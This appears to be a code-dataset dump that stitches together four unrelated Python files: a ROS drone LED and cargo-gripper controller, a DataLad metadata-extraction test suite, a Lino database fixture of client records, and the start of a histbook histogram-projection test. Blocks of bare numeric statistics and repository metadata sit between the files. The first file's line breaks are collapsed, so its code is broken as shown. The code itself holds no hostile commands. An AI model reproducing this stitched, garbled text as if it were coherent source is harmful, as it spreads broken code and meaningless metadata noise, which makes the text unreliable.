#!/usr/bin/env python3 # -*- coding: utf-8 -*- import rospy from gs_interfaces.srv import Led,Live from rospy import ServiceProxy from std_msgs.msg import Bool,ColorRGBA import RPi.GPIO as GPIO import json, socket class BoardLedController(): def __init__(self): self.__leds = [] for _ in range(4): self.__leds.append(ColorRGBA()) rospy.wait_for_service("geoscan/alive") rospy.wait_for_service("geoscan/led/board/set") self.__alive = ServiceProxy("geoscan/alive", Live) self.__led_service = ServiceProxy("geoscan/led/board/set", Led) def changeColor(self, index = 0, r = 0.0, g = 0.0, b = 0.0): if self.__alive().status: try: if (r >= 0.0) and (r <= 255.0) and (g >= 0.0) and (g <= 255.0) and (b >= 0.0) and (b <= 255.0): color = ColorRGBA() color.r = r color.g = g color.b = b self.__leds[index] = color return self.__led_service(self.__leds).status else: rospy.logerr("Color value must be between 0.0 and 255.0 inclusive") except: rospy.logerr(f"Index led: {index} is not correct") else: rospy.logwarn("Wait, connecting to flight controller") def changeAllColor(self, r = 0.0, g = 0.0, b = 0.0): if self.__alive().status: if (r >= 0.0) and (r <= 255.0) and (g >= 0.0) and (g <= 255.0) and (b >= 0.0) and (b <= 255.0): for i in range(len(self.__leds)): color = ColorRGBA() color.r = r color.g = g color.b = b self.__leds[i] = color return self.__led_service(self.__leds).status else: rospy.logerr("Color value must be between 0.0 and 255.0 inclusive") else: rospy.logwarn("Wait, connecting to flight controller") class ModuleLedController(): def __init__(self): self.__leds = [] for _ in range(25): self.__leds.append(ColorRGBA()) rospy.wait_for_service("geoscan/alive") rospy.wait_for_service("geoscan/led/module/set") self.__alive = ServiceProxy("geoscan/alive", Live) self.__led_service = ServiceProxy("geoscan/led/module/set", Led) def changeColor(self, index = 0, r = 0.0, g = 0.0, b = 0.0): if self.__alive().status: try: if (r >= 0.0) and (r <= 255.0) and (g >= 0.0) and (g <= 255.0) and (b >= 0.0) and (b <= 255.0): color = ColorRGBA() color.r = r color.g = g color.b = b self.__leds[index] = color return self.__led_service(self.__leds).status else: rospy.logerr("Color value must be between 0.0 and 255.0 inclusive") except: rospy.logerr(f"Index led: {index} is not correct") else: rospy.logwarn("Wait, connecting to flight controller") def changeAllColor(self, r = 0.0, g = 0.0, b = 0.0): if self.__alive().status: if (r >= 0.0) and (r <= 255.0) and (g >= 0.0) and (g <= 255.0) and (b >= 0.0) and (b <= 255.0): for i in range(len(self.__leds)): color = ColorRGBA() color.r = r color.g = g color.b = b self.__leds[i] = color return self.__led_service(self.__leds).status else: rospy.logerr("Color value must be between 0.0 and 255.0 inclusive") else: rospy.logwarn("Wait, connecting to flight controller") class CargoController(): def __init__(self): GPIO.setmode(GPIO.BCM) GPIO.setwarnings(False) self.__gpio_number = 17 GPIO.setup(self.__gpio_number, GPIO.OUT) def on(self): GPIO.output(self.__gpio_number, True) def off(self): GPIO.output(self.__gpio_number, False) def changeColor(self, index = 0, r = 0, g = 0, b = 0): clientsocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) clientsocket.connect(('localhost', 9090)) clientsocket.send(bytes(json.dumps({'r':r, 'g':g, 'b':b, 'n':index}), encoding='utf-8')) def changeAllColor(self, r = 0, g = 0, b = 0): clientsocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) clientsocket.connect(('localhost', 9090)) clientsocket.send(bytes(json.dumps({'r':r, 'g':g, 'b':b, 'n':255}), encoding='utf-8'))

40.101695

111

0.52705

618

4,732

3.877023

0.169903

0.023372

0.033389

0.03172

0.835977

0.827212

0.80384

0.793823

0.769616

0

0.047711

0.340025

4,732

118

112

40.101695

0.7195

0.009087

0

0.735294

0

0.12628

0.018345

0

1

0.107843

false

0

0.058824

0

0.235294

0

null

0

1

0

1

0

null

0

7

898290fa6ea0c6a8d5f88cb4fd453a9278317304

16,672

py

Python

datalad_metalad/tests/test_extract.py

datalad/datalad-metalad

ad5e46eccac2373e70eb943ed2b1dba2a2facd8a

[ "MIT" ]

7

2019-08-20T14:28:28.000Z

2022-03-15T14:50:48.000Z

datalad_metalad/tests/test_extract.py

datalad/datalad-metalad

ad5e46eccac2373e70eb943ed2b1dba2a2facd8a

[ "MIT" ]

167

2019-05-08T08:41:33.000Z

2022-03-31T12:09:19.000Z

datalad_metalad/tests/test_extract.py

datalad/datalad-metalad

ad5e46eccac2373e70eb943ed2b1dba2a2facd8a

[ "MIT" ]

8

2019-06-18T09:03:01.000Z

2021-12-14T20:50:27.000Z

# emacs: -*- mode: python-mode; py-indent-offset: 4; tab-width: 4; indent-tabs-mode: nil -*- # -*- coding: utf-8 -*- # ex: set sts=4 ts=4 sw=4 noet: # ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ## # # See COPYING file distributed along with the datalad package for the # copyright and license terms. # # ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ## """Test metadata extraction""" import subprocess from uuid import UUID from typing import Optional from unittest.mock import patch from datalad.distribution.dataset import Dataset from datalad.api import meta_extract from datalad.utils import chpwd from datalad.tests.utils import ( assert_repo_status, assert_raises, assert_result_count, assert_in, eq_, known_failure_windows, with_tempfile, with_tree ) from dataladmetadatamodel.metadatapath import MetadataPath from ..extract import get_extractor_class meta_tree = { 'sub': { 'one': '1', 'nothing': '2', }, } @with_tempfile(mkdir=True) def test_empty_dataset_error(path): # go into virgin dir to avoid detection of any dataset with chpwd(path): assert_raises( ValueError, meta_extract, extractorname="metalad_core") @with_tempfile(mkdir=True) def test_unknown_extractor_error(path): # ensure failure on unavailable metadata extractor with chpwd(path): assert_raises( ValueError, meta_extract, extractorname="bogus__") def _check_metadata_record(metadata_record: dict, dataset: Dataset, extractor_name: str, extractor_version: str, extraction_parameter: dict, path: Optional[str] = None): assert_in("extraction_time", metadata_record) eq_(metadata_record["dataset_id"], UUID(dataset.id)) eq_(metadata_record["dataset_version"], dataset.repo.get_hexsha()) eq_(metadata_record["extractor_version"], extractor_version) eq_(metadata_record["extractor_name"], extractor_name) eq_(metadata_record["extraction_parameter"], extraction_parameter) eq_(metadata_record["agent_name"], "DataLad Tester") eq_(metadata_record["agent_email"], "test@example.com") if path is not None: eq_(metadata_record["path"], MetadataPath(path)) @with_tree(meta_tree) def test_dataset_extraction_result(path): ds = Dataset(path).create(force=True) ds.config.add( 'datalad.metadata.exclude-path', '.metadata', where='dataset') ds.save() assert_repo_status(ds.path) extractor_name = "metalad_core_dataset" extractor_class = get_extractor_class(extractor_name) extractor_version = extractor_class(None, None, None).get_version() res = meta_extract( extractorname=extractor_name, dataset=ds) assert_result_count(res, 1) assert_result_count(res, 1, type='dataset') assert_result_count(res, 0, type='file') metadata_record = res[0]["metadata_record"] _check_metadata_record( metadata_record=metadata_record, dataset=ds, extractor_name=extractor_name, extractor_version=extractor_version, extraction_parameter={}) extracted_metadata = metadata_record["extracted_metadata"] eq_(extracted_metadata["id"], ds.id) eq_(extracted_metadata["refcommit"], ds.repo.get_hexsha()) eq_(extracted_metadata["comment"], "test-implementation of core_dataset") @with_tree(meta_tree) def test_file_extraction_result(ds_path): ds = Dataset(ds_path).create(force=True) ds.config.add( 'datalad.metadata.exclude-path', '.metadata', where='dataset') ds.save() assert_repo_status(ds.path) file_path = "sub/one" extractor_name = "metalad_core_file" extractor_class = get_extractor_class(extractor_name) extractor_version = extractor_class(None, None, None).get_version() res = meta_extract( extractorname=extractor_name, path=file_path, dataset=ds) assert_result_count(res, 1) assert_result_count(res, 1, type='file') assert_result_count(res, 0, type='dataset') metadata_record = res[0]["metadata_record"] _check_metadata_record( metadata_record=metadata_record, dataset=ds, extractor_name=extractor_name, extractor_version=extractor_version, extraction_parameter={}, path=file_path) extracted_metadata = metadata_record["extracted_metadata"] assert_in("content_byte_size", extracted_metadata) assert_in("@id", extracted_metadata) eq_(extracted_metadata["type"], "file") eq_(extracted_metadata["path"], file_path) eq_(extracted_metadata["comment"], "test-implementation of core_file") @with_tree(meta_tree) def test_legacy1_dataset_extraction_result(ds_path): ds = Dataset(ds_path).create(force=True) ds.config.add( 'datalad.metadata.exclude-path', '.metadata', where='dataset') ds.save() assert_repo_status(ds.path) extractor_name = "metalad_core" extractor_version = "1" res = meta_extract( extractorname=extractor_name, dataset=ds) assert_result_count(res, 1) assert_result_count(res, 1, type='dataset') assert_result_count(res, 0, type='file') metadata_record = res[0]["metadata_record"] _check_metadata_record( metadata_record=metadata_record, dataset=ds, extractor_name=extractor_name, extractor_version=extractor_version, extraction_parameter={}) extracted_metadata = metadata_record["extracted_metadata"] assert_in("@context", extracted_metadata) assert_in("@graph", extracted_metadata) eq_(len(extracted_metadata["@graph"]), 2) @with_tree(meta_tree) def test_legacy2_dataset_extraction_result(ds_path): ds = Dataset(ds_path).create(force=True) ds.config.add( 'datalad.metadata.exclude-path', '.metadata', where='dataset') ds.save() assert_repo_status(ds.path) extractor_name = "datalad_core" extractor_version = "un-versioned" res = meta_extract( extractorname=extractor_name, dataset=ds) assert_result_count(res, 1) assert_result_count(res, 1, type='dataset') assert_result_count(res, 0, type='file') metadata_record = res[0]["metadata_record"] _check_metadata_record( metadata_record=metadata_record, dataset=ds, extractor_name=extractor_name, extractor_version=extractor_version, extraction_parameter={}) extracted_metadata = metadata_record["extracted_metadata"] assert_in("@id", extracted_metadata) @with_tree(meta_tree) def test_legacy1_file_extraction_result(ds_path): ds = Dataset(ds_path).create(force=True) ds.config.add( 'datalad.metadata.exclude-path', '.metadata', where='dataset') ds.save() assert_repo_status(ds.path) file_path = "sub/one" extractor_name = "metalad_core" extractor_version = "1" res = meta_extract( extractorname=extractor_name, path=file_path, dataset=ds) assert_result_count(res, 1) assert_result_count(res, 1, type='file') assert_result_count(res, 0, type='dataset') metadata_record = res[0]["metadata_record"] _check_metadata_record( metadata_record=metadata_record, dataset=ds, extractor_name=extractor_name, extractor_version=extractor_version, extraction_parameter={}, path=file_path) extracted_metadata = metadata_record["extracted_metadata"] assert_in("@id", extracted_metadata) eq_(extracted_metadata["contentbytesize"], 1) @known_failure_windows @with_tree(meta_tree) def test_legacy2_file_extraction_result(ds_path): ds = Dataset(ds_path).create(force=True) ds.config.add( 'datalad.metadata.exclude-path', '.metadata', where='dataset') ds.save() assert_repo_status(ds.path) file_path = "sub/one" extractor_name = "datalad_core" extractor_version = "un-versioned" res = meta_extract( extractorname=extractor_name, path=file_path, dataset=ds) assert_result_count(res, 1) assert_result_count(res, 1, type='file') assert_result_count(res, 0, type='dataset') metadata_record = res[0]["metadata_record"] _check_metadata_record( metadata_record=metadata_record, dataset=ds, extractor_name=extractor_name, extractor_version=extractor_version, extraction_parameter={}, path=file_path) extracted_metadata = metadata_record["extracted_metadata"] eq_(extracted_metadata, {}) @with_tree(meta_tree) def test_path_parameter_directory(ds_path): ds = Dataset(ds_path).create(force=True) ds.config.add( 'datalad.metadata.exclude-path', '.metadata', where='dataset') ds.save() assert_repo_status(ds.path) assert_raises( ValueError, meta_extract, extractorname="metalad_core_file", dataset=ds, path="sub") @with_tree(meta_tree) def test_path_parameter_recognition(ds_path): ds = Dataset(ds_path).create(force=True) ds.config.add( 'datalad.metadata.exclude-path', '.metadata', where='dataset') ds.save() assert_repo_status(ds.path) with patch("datalad_metalad.extract.do_file_extraction") as fe, \ patch("datalad_metalad.extract.do_dataset_extraction") as de: meta_extract( extractorname="metalad_core_file", dataset=ds, path="sub/one" ) eq_(fe.call_count, 1) eq_(de.call_count, 0) @with_tree(meta_tree) def test_extra_parameter_recognition(ds_path): ds = Dataset(ds_path).create(force=True) ds.config.add( 'datalad.metadata.exclude-path', '.metadata', where='dataset') ds.save() assert_repo_status(ds.path) with patch("datalad_metalad.extract.do_file_extraction") as fe, \ patch("datalad_metalad.extract.do_dataset_extraction") as de: meta_extract( extractorname="metalad_core_file", dataset=ds, path="--", extractorargs=["k1", "v1", "k2", "v2", "k3", "v3"] ) eq_(fe.call_count, 0) eq_(de.call_count, 1) eq_( de.call_args_list[0][0][0].extractor_arguments, { "k1": "v1", "k2": "v2", "k3": "v3" }) @with_tree(meta_tree) def test_path_and_extra_parameter_recognition(ds_path): ds = Dataset(ds_path).create(force=True) ds.config.add( 'datalad.metadata.exclude-path', '.metadata', where='dataset') ds.save() assert_repo_status(ds.path) with patch("datalad_metalad.extract.do_file_extraction") as fe, \ patch("datalad_metalad.extract.do_dataset_extraction") as de: meta_extract( extractorname="metalad_core_file", dataset=ds, path="sub/one", extractorargs=["k1", "v1", "k2", "v2", "k3", "v3"] ) eq_(de.call_count, 0) eq_(fe.call_count, 1) eq_( fe.call_args_list[0][0][0].extractor_arguments, { "k1": "v1", "k2": "v2", "k3": "v3" }) @with_tree(meta_tree) def test_context_dict_parameter_handling(ds_path): ds = Dataset(ds_path).create(force=True) ds.config.add( 'datalad.metadata.exclude-path', '.metadata', where='dataset') ds.save() assert_repo_status(ds.path) with patch("datalad_metalad.extract.do_file_extraction") as fe, \ patch("datalad_metalad.extract.do_dataset_extraction") as de: meta_extract( extractorname="metalad_core_file", dataset=ds, context={"dataset_version": "xyz"}, path="sub/one" ) eq_(fe.call_count, 1) eq_(fe.call_args[0][0].source_dataset_version, "xyz") eq_(de.call_count, 0) @with_tree(meta_tree) def test_context_str_parameter_handling(ds_path): ds = Dataset(ds_path).create(force=True) ds.config.add( 'datalad.metadata.exclude-path', '.metadata', where='dataset') ds.save() assert_repo_status(ds.path) with patch("datalad_metalad.extract.do_file_extraction") as fe, \ patch("datalad_metalad.extract.do_dataset_extraction") as de: meta_extract( extractorname="metalad_core_file", dataset=ds, context='{"dataset_version": "rst"}', path="sub/one" ) eq_(fe.call_count, 1) eq_(fe.call_args[0][0].source_dataset_version, "rst") eq_(de.call_count, 0) @with_tree(meta_tree) def test_get_context(ds_path): ds = Dataset(ds_path).create(force=True) ds.config.add( 'datalad.metadata.exclude-path', '.metadata', where='dataset') ds.save() assert_repo_status(ds.path) result = tuple( meta_extract( extractorname="metalad_core_file", dataset=ds, get_context=True, path="sub/one")) version = subprocess.run( [ "git", "--git-dir", str(ds.pathobj / ".git"), "log", "--oneline", "--format=%H", "-n", "1" ], stdout=subprocess.PIPE).stdout.decode().strip() eq_(len(result), 1) eq_(result[0]["context"]["dataset_version"], version) @with_tree(meta_tree) def test_extractor_parameter_handling(ds_path): ds = Dataset(ds_path).create(force=True) ds.config.add( 'datalad.metadata.exclude-path', '.metadata', where='dataset') ds.save() assert_repo_status(ds.path) with patch("datalad_metalad.extract.do_file_extraction") as fe, \ patch("datalad_metalad.extract.do_dataset_extraction") as de: meta_extract( extractorname="metalad_core_dataset", dataset=ds, path="--", extractorargs=["k0", "v0", "k1", "v1"] ) eq_(fe.call_count, 0) eq_(de.call_count, 1) eq_(de.call_args[0][0].extractor_arguments, {"k0": "v0", "k1": "v1"}) with patch("datalad_metalad.extract.do_file_extraction") as fe, \ patch("datalad_metalad.extract.do_dataset_extraction") as de: meta_extract( extractorname="metalad_core_file", dataset=ds, path="sub/one", extractorargs=["k0", "v0", "k1", "v1"] ) eq_(de.call_count, 0) eq_(fe.call_count, 1) eq_(fe.call_args[0][0].file_tree_path, MetadataPath("sub/one")) eq_(fe.call_args[0][0].extractor_arguments, {"k0": "v0", "k1": "v1"}) @with_tree(meta_tree) def test_external_extractor(ds_path): ds = Dataset(ds_path).create(force=True) ds.config.add( 'datalad.metadata.exclude-path', '.metadata', where='dataset') ds.save() assert_repo_status(ds.path) for path, extractor_name in (("--", "metalad_external_dataset"), ("sub/one", "metalad_external_file")): result = meta_extract( extractorname=extractor_name, dataset=ds, path=path, extractorargs=[ "data-output-category", "IMMEDIATE", "command", "python", "0", "-c", "1", "print('True')"]) eq_(len(result), 1) eq_(result[0]["status"], "ok") eq_(result[0]["metadata_record"]["extracted_metadata"], "True") @with_tree(meta_tree) def test_external_extractor_categories(ds_path): ds = Dataset(ds_path).create(force=True) ds.config.add( 'datalad.metadata.exclude-path', '.metadata', where='dataset') ds.save() assert_repo_status(ds.path) for path, extractor_name in (("--", "metalad_external_dataset"), ("sub/one", "metalad_external_file")): for output_category in ("DIRECTORY", "FILE"): assert_raises( NotImplementedError, meta_extract, extractorname=extractor_name, dataset=ds, path=path, extractorargs=[ "data-output-category", output_category, "command", "python", "0", "-c", "1", "print('True')"])

28.744828

107

0.62542

1,927

16,672

5.10794

0.100675

0.049375

0.030377

0.036574

0.80382

0.799858

0.783806

0.762776

0.727522

0.706898

0

0.009551

0.246401

16,672

579

108

28.794473

0.773878

0.024652

0

0.742358

0

0.170562

0.072106

0

0.106987

1

0.041485

false

0

0.021834

0

0.063319

0.004367

0

null

0

1

0

1

0

null

0

7

989232abad4d490d755b5e7ea6d4851198401ba1

7,560

py

Python

lino_book/projects/lydia/tests/dumps/18.12.0/tera_client.py

lino-framework/lino_book

4eab916832cd8f48ff1b9fc8c2789f0b437da0f8

[ "BSD-2-Clause" ]

3

2016-08-25T05:58:09.000Z

2019-12-05T11:13:45.000Z

lino_book/projects/lydia/tests/dumps/18.12.0/tera_client.py

lino-framework/lino_book

4eab916832cd8f48ff1b9fc8c2789f0b437da0f8

[ "BSD-2-Clause" ]

18

2016-11-12T21:38:58.000Z

2019-12-03T17:54:38.000Z

lino_book/projects/lydia/tests/dumps/18.12.0/tera_client.py

lino-framework/lino_book

4eab916832cd8f48ff1b9fc8c2789f0b437da0f8

[ "BSD-2-Clause" ]

9

2016-10-15T11:12:33.000Z

2021-09-22T04:37:37.000Z

# -*- coding: UTF-8 -*- logger.info("Loading 58 objects to table tera_client...") # fields: person_ptr, modified, created, user, client_state, private, professional_state, obsoletes, nationality, life_mode, civil_state loader.save(create_tera_client(115,dt(2018,12,22,12,24,56),dt(2018,12,22,12,24,56),None,'01',False,None,None,None,None,None)) loader.save(create_tera_client(113,dt(2018,12,22,12,24,56),dt(2018,12,22,12,24,56),None,'12',False,None,None,None,None,None)) loader.save(create_tera_client(114,dt(2018,12,22,12,24,56),dt(2018,12,22,12,24,56),None,'01',False,None,None,None,None,None)) loader.save(create_tera_client(116,dt(2018,12,22,12,24,56),dt(2018,12,22,12,24,56),None,'12',False,None,None,None,None,None)) loader.save(create_tera_client(117,dt(2018,12,22,12,24,56),dt(2018,12,22,12,24,56),None,'01',False,None,None,None,None,None)) loader.save(create_tera_client(120,dt(2018,12,22,12,24,56),dt(2018,12,22,12,24,56),None,'12',False,None,None,None,None,None)) loader.save(create_tera_client(119,dt(2018,12,22,12,24,56),dt(2018,12,22,12,24,56),None,'01',False,None,None,None,None,None)) loader.save(create_tera_client(118,dt(2018,12,22,12,24,56),dt(2018,12,22,12,24,56),None,'03',False,None,None,None,None,None)) loader.save(create_tera_client(122,dt(2018,12,22,12,24,56),dt(2018,12,22,12,24,56),None,'01',False,None,None,None,None,None)) loader.save(create_tera_client(180,dt(2018,12,22,12,24,56),dt(2018,12,22,12,24,56),None,'12',False,None,None,None,None,None)) loader.save(create_tera_client(121,dt(2018,12,22,12,24,57),dt(2018,12,22,12,24,56),None,'01',False,None,None,None,None,None)) loader.save(create_tera_client(123,dt(2018,12,22,12,24,57),dt(2018,12,22,12,24,57),None,'01',False,None,None,None,None,None)) loader.save(create_tera_client(179,dt(2018,12,22,12,24,57),dt(2018,12,22,12,24,57),None,'12',False,None,None,None,None,None)) loader.save(create_tera_client(175,dt(2018,12,22,12,24,57),dt(2018,12,22,12,24,57),None,'12',False,None,None,None,None,None)) loader.save(create_tera_client(128,dt(2018,12,22,12,24,57),dt(2018,12,22,12,24,57),None,'01',False,None,None,None,None,None)) loader.save(create_tera_client(150,dt(2018,12,22,12,24,57),dt(2018,12,22,12,24,57),None,'03',False,None,None,None,None,None)) loader.save(create_tera_client(151,dt(2018,12,22,12,24,57),dt(2018,12,22,12,24,57),None,'12',False,None,None,None,None,None)) loader.save(create_tera_client(129,dt(2018,12,22,12,24,57),dt(2018,12,22,12,24,57),None,'01',False,None,None,None,None,None)) loader.save(create_tera_client(125,dt(2018,12,22,12,24,57),dt(2018,12,22,12,24,57),None,'12',False,None,None,None,None,None)) loader.save(create_tera_client(127,dt(2018,12,22,12,24,57),dt(2018,12,22,12,24,57),None,'01',False,None,None,None,None,None)) loader.save(create_tera_client(126,dt(2018,12,22,12,24,57),dt(2018,12,22,12,24,57),None,'12',False,None,None,None,None,None)) loader.save(create_tera_client(130,dt(2018,12,22,12,24,57),dt(2018,12,22,12,24,57),None,'01',False,None,None,None,None,None)) loader.save(create_tera_client(132,dt(2018,12,22,12,24,57),dt(2018,12,22,12,24,57),None,'01',False,None,None,None,None,None)) loader.save(create_tera_client(134,dt(2018,12,22,12,24,57),dt(2018,12,22,12,24,57),None,'03',False,None,None,None,None,None)) loader.save(create_tera_client(133,dt(2018,12,22,12,24,57),dt(2018,12,22,12,24,57),None,'01',False,None,None,None,None,None)) loader.save(create_tera_client(135,dt(2018,12,22,12,24,57),dt(2018,12,22,12,24,57),None,'12',False,None,None,None,None,None)) loader.save(create_tera_client(137,dt(2018,12,22,12,24,57),dt(2018,12,22,12,24,57),None,'01',False,None,None,None,None,None)) loader.save(create_tera_client(136,dt(2018,12,22,12,24,57),dt(2018,12,22,12,24,57),None,'12',False,None,None,None,None,None)) loader.save(create_tera_client(138,dt(2018,12,22,12,24,57),dt(2018,12,22,12,24,57),None,'12',False,None,None,None,None,None)) loader.save(create_tera_client(139,dt(2018,12,22,12,24,57),dt(2018,12,22,12,24,57),None,'01',False,None,None,None,None,None)) loader.save(create_tera_client(140,dt(2018,12,22,12,24,57),dt(2018,12,22,12,24,57),None,'12',False,None,None,None,None,None)) loader.save(create_tera_client(141,dt(2018,12,22,12,24,57),dt(2018,12,22,12,24,57),None,'01',False,None,None,None,None,None)) loader.save(create_tera_client(178,dt(2018,12,22,12,24,57),dt(2018,12,22,12,24,57),None,'03',False,None,None,None,None,None)) loader.save(create_tera_client(176,dt(2018,12,22,12,24,57),dt(2018,12,22,12,24,57),None,'01',False,None,None,None,None,None)) loader.save(create_tera_client(143,dt(2018,12,22,12,24,57),dt(2018,12,22,12,24,57),None,'01',False,None,None,None,None,None)) loader.save(create_tera_client(144,dt(2018,12,22,12,24,57),dt(2018,12,22,12,24,57),None,'12',False,None,None,None,None,None)) loader.save(create_tera_client(145,dt(2018,12,22,12,24,57),dt(2018,12,22,12,24,57),None,'01',False,None,None,None,None,None)) loader.save(create_tera_client(146,dt(2018,12,22,12,24,57),dt(2018,12,22,12,24,57),None,'12',False,None,None,None,None,None)) loader.save(create_tera_client(172,dt(2018,12,22,12,24,57),dt(2018,12,22,12,24,57),None,'01',False,None,None,None,None,None)) loader.save(create_tera_client(147,dt(2018,12,22,12,24,57),dt(2018,12,22,12,24,57),None,'12',False,None,None,None,None,None)) loader.save(create_tera_client(148,dt(2018,12,22,12,24,57),dt(2018,12,22,12,24,57),None,'03',False,None,None,None,None,None)) loader.save(create_tera_client(153,dt(2018,12,22,12,24,57),dt(2018,12,22,12,24,57),None,'01',False,None,None,None,None,None)) loader.save(create_tera_client(154,dt(2018,12,22,12,24,57),dt(2018,12,22,12,24,57),None,'12',False,None,None,None,None,None)) loader.save(create_tera_client(155,dt(2018,12,22,12,24,57),dt(2018,12,22,12,24,57),None,'01',False,None,None,None,None,None)) loader.save(create_tera_client(156,dt(2018,12,22,12,24,57),dt(2018,12,22,12,24,57),None,'12',False,None,None,None,None,None)) loader.save(create_tera_client(157,dt(2018,12,22,12,24,57),dt(2018,12,22,12,24,57),None,'01',False,None,None,None,None,None)) loader.save(create_tera_client(159,dt(2018,12,22,12,24,57),dt(2018,12,22,12,24,57),None,'01',False,None,None,None,None,None)) loader.save(create_tera_client(160,dt(2018,12,22,12,24,57),dt(2018,12,22,12,24,57),None,'12',False,None,None,None,None,None)) loader.save(create_tera_client(161,dt(2018,12,22,12,24,57),dt(2018,12,22,12,24,57),None,'01',False,None,None,None,None,None)) loader.save(create_tera_client(162,dt(2018,12,22,12,24,57),dt(2018,12,22,12,24,57),None,'03',False,None,None,None,None,None)) loader.save(create_tera_client(163,dt(2018,12,22,12,24,57),dt(2018,12,22,12,24,57),None,'01',False,None,None,None,None,None)) loader.save(create_tera_client(173,dt(2018,12,22,12,24,58),dt(2018,12,22,12,24,57),None,'12',False,None,None,None,None,None)) loader.save(create_tera_client(165,dt(2018,12,22,12,24,58),dt(2018,12,22,12,24,58),None,'12',False,None,None,None,None,None)) loader.save(create_tera_client(164,dt(2018,12,22,12,24,58),dt(2018,12,22,12,24,58),None,'01',False,None,None,None,None,None)) loader.save(create_tera_client(166,dt(2018,12,22,12,24,58),dt(2018,12,22,12,24,58),None,'12',False,None,None,None,None,None)) loader.save(create_tera_client(169,dt(2018,12,22,12,24,58),dt(2018,12,22,12,24,58),None,'01',False,None,None,None,None,None)) loader.save(create_tera_client(167,dt(2018,12,22,12,24,58),dt(2018,12,22,12,24,58),None,'12',False,None,None,None,None,None)) loader.save(create_tera_client(168,dt(2018,12,22,12,24,58),dt(2018,12,22,12,24,58),None,'01',False,None,None,None,None,None)) loader.flush_deferred_objects()

118.125

136

0.746825

1,657

7,560

3.332529

0.06035

0.33611

0.378124

0.210069

0.935893

0.931184

0

0.256421

0.011111

7,560

63

137

120

0.48221

0.020635

0

0.021348

0

1

0

true

0

null

1

0

1

0

1

0

null

0

1

0

13

98a91e832aa05f73e6c3a1ca0c6045455f91c844

40,011

py

Python

tests/test_proj.py

diana-hep/pandhist

0874f6a3a778b85974b2d59e3a6f89391f8f3fe9

[ "BSD-3-Clause" ]

67

2018-05-07T17:09:23.000Z

2018-06-22T00:30:06.000Z

tests/test_proj.py

diana-hep/pandhist

0874f6a3a778b85974b2d59e3a6f89391f8f3fe9

[ "BSD-3-Clause" ]

31

2018-05-23T00:47:09.000Z

2018-06-22T16:45:57.000Z

tests/test_proj.py

diana-hep/pandhist

0874f6a3a778b85974b2d59e3a6f89391f8f3fe9

[ "BSD-3-Clause" ]

7

2018-07-11T08:13:23.000Z

2021-08-29T05:20:42.000Z

#!/usr/bin/env python # Copyright (c) 2018, DIANA-HEP # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # # * Redistributions of source code must retain the above copyright notice, this # list of conditions and the following disclaimer. # # * Redistributions in binary form must reproduce the above copyright notice, # this list of conditions and the following disclaimer in the documentation # and/or other materials provided with the distribution. # # * Neither the name of the copyright holder nor the names of its # contributors may be used to endorse or promote products derived from # this software without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE # DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE # FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL # DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR # SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER # CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, # OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE # OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. import unittest import numpy from histbook.axis import * from histbook.hist import * class TestProj(unittest.TestCase): def runTest(self): pass def test_project_bin(self): hxy = Hist(bin("x", 2, 0, 2, underflow=False, overflow=False, nanflow=False), bin("y", 2, 0, 2, underflow=False, overflow=False, nanflow=False)) hx = Hist(bin("x", 2, 0, 2, underflow=False, overflow=False, nanflow=False)) hy = Hist(bin("y", 2, 0, 2, underflow=False, overflow=False, nanflow=False)) for i in range(1): hxy.fill(x=[0], y=[0]) hx.fill(x=[0], y=[0]) hy.fill(x=[0], y=[0]) for i in range(2): hxy.fill(x=[0], y=[1]) hx.fill(x=[0], y=[1]) hy.fill(x=[0], y=[1]) for i in range(4): hxy.fill(x=[1], y=[0]) hx.fill(x=[1], y=[0]) hy.fill(x=[1], y=[0]) for i in range(8): hxy.fill(x=[1], y=[1]) hx.fill(x=[1], y=[1]) hy.fill(x=[1], y=[1]) self.assertEqual(hxy._content.tolist(), [[[1], [2]], [[4], [8]]]) self.assertEqual(hx._content.tolist(), [[3], [12]]) self.assertEqual(hxy.project("x")._content.tolist(), [[3], [12]]) self.assertEqual(hy._content.tolist(), [[5], [10]]) self.assertEqual(hxy.project("y")._content.tolist(), [[5], [10]]) def test_project_bin_weight(self): hxy = Hist(bin("x", 2, 0, 2, underflow=False, overflow=False, nanflow=False), bin("y", 2, 0, 2, underflow=False, overflow=False, nanflow=False), weight="w") hx = Hist(bin("x", 2, 0, 2, underflow=False, overflow=False, nanflow=False), weight="w") hy = Hist(bin("y", 2, 0, 2, underflow=False, overflow=False, nanflow=False), weight="w") hxy.fill(x=[0, 0, 1, 1], y=[0, 1, 0, 1], w=[1, 2, 4, 8]) hx.fill(x=[0, 0, 1, 1], y=[0, 1, 0, 1], w=[1, 2, 4, 8]) hy.fill(x=[0, 0, 1, 1], y=[0, 1, 0, 1], w=[1, 2, 4, 8]) self.assertEqual(hxy._content.tolist(), [[[1, 1], [2, 4]], [[4, 16], [8, 64]]]) self.assertEqual(hx._content.tolist(), [[3, 5], [12, 80]]) self.assertEqual(hxy.project("x")._content.tolist(), [[3, 5], [12, 80]]) self.assertEqual(hy._content.tolist(), [[5, 17], [10, 68]]) self.assertEqual(hxy.project("y")._content.tolist(), [[5, 17], [10, 68]]) def test_project_bin_profile(self): hxy = Hist(bin("x", 2, 0, 2, underflow=False, overflow=False, nanflow=False), bin("y", 2, 0, 2, underflow=False, overflow=False, 